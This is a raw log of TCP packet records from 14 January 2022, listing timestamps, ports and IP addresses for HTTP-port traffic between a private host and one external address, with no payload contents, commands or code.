Jan 14, 2022 21:06:06.668831110 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.668894053 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.668947935 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.668952942 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.669014931 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.669064045 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.669075012 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.669133902 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.669184923 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.669197083 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.669259071 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.669307947 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.669317007 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.669378042 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.669420004 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.669436932 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.669496059 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.669536114 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.669554949 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.669614077 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.669656992 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.669672966 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.669734955 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.669773102 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.669791937 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.669878960 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.669919968 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.669946909 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.670006037 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.670047998 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.670063019 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.670124054 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.670162916 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.670186996 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.670245886 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.670284986 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.670305967 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.670361996 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.670398951 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.670419931 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.670476913 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.670515060 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.670533895 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.670593023 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.670634985 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.670650959 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.670710087 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.670748949 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.670768976 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.670825958 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.670864105 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.670886993 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.670947075 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.670986891 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.671003103 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.671062946 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.671102047 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.727616072 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.727646112 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.727669001 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.727690935 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.727701902 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.727713108 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.727729082 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.727739096 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.727761030 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.727776051 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.727785110 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.727807999 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.727817059 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.727830887 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.727855921 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.727861881 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.727879047 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.727900982 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.727911949 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.727924109 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.727946043 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.727962971 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.727968931 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.727992058 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.727998018 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.728013039 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.728034973 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.728048086 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.728055954 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.728079081 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.728086948 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.728101015 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.728121996 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.728137016 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.728144884 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.728168011 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.728179932 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.728190899 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.728213072 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.728233099 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.728239059 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.728256941 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.728275061 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.728277922 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.728300095 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.728317976 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.728322029 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.728359938 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.728471994 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.728496075 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.728518009 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.728534937 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.728539944 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.728574038 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.728595972 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.728617907 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.728640079 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.728661060 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.728662014 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.728687048 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.728705883 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.728708982 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.728730917 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.728739977 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.728753090 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.728775024 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.728785038 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.728796959 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.728818893 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.728828907 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.728841066 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.728912115 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.784962893 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.785000086 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.785022974 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.785033941 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.785047054 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.785070896 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.785092115 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.785099030 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.785114050 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.785126925 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.785140038 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.785162926 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.785181999 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.785182953 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.785206079 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.785227060 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.785227060 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.785252094 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.785274029 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.785274029 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.785298109 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.785310984 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.785321951 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.785342932 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.785363913 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.785363913 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.785404921 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.790251970 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.790286064 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.790309906 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.790333033 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.790334940 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.790359020 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.790381908 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.790381908 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.790407896 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.790416002 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.790437937 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.790458918 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.790482044 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.790482044 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.790505886 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.790525913 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.790529966 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.790554047 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.790563107 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.790577888 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.790601015 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.790612936 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.790623903 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.790646076 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.790667057 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.790668011 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.790692091 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.790714979 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.790719032 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.790739059 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.790760040 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.790760994 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.790785074 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.790795088 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.790807009 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.790828943 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.790839911 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.790854931 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.790875912 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.790896893 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.790899038 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.790923119 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.790944099 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.790946007 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.790980101 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.841871977 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.841907024 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.841928959 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.841952085 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.841960907 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.841978073 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.842000961 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.842010021 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.842025995 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.842048883 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.842050076 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.842072010 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.842096090 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.842098951 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.842119932 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.842143059 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.842164993 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.842166901 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.842187881 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.842205048 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.842211962 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.842235088 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.842237949 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.842258930 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.842282057 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.842283964 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.842303991 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.842325926 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.842338085 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.842348099 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.842369080 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.842376947 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.842391968 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.842412949 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.842416048 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.842437029 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.842458963 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.842461109 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.842480898 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.842504025 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.842505932 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.842536926 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.842560053 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.842562914 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.842581987 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.842595100 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.842605114 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.842628002 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.842650890 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.842658997 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.842674971 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.842698097 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.842700958 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.842740059 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.847559929 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.847588062 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.847605944 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.847624063 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.847641945 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.847660065 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.847677946 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.847696066 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.847713947 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.847732067 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.847750902 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.847773075 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.847791910 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.847809076 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.847822905 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.847831964 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.847856045 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.847862959 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.847877026 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.847878933 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.847902060 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.847903013 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.847927094 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.847944975 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.847960949 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.847968102 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.847985983 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.847994089 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.848002911 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.848011971 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.848026991 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.848050117 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.848062992 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.848073006 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.848094940 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.848109007 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.848118067 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.848140955 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.848150015 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.848164082 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.848186970 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.848206997 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.848222971 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.848246098 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.848256111 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.848268032 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.848290920 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.848299980 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.848313093 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.848332882 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.848342896 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.848355055 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.848376989 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.848392963 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.848402977 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.848424911 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.848437071 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.848447084 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.848469019 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.848480940 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.848490953 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.848514080 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.848522902 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.848536015 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.848557949 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.848567963 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.848581076 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.848603964 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.848618984 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.848635912 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.848659039 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.848669052 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.848680973 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.848704100 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.848715067 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.848726034 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.848747969 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.848756075 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.848769903 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.848793983 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.848803043 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.848815918 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.848836899 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.848845005 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.848860025 CET	80	49908	81.163.30.181	192.168.2.5
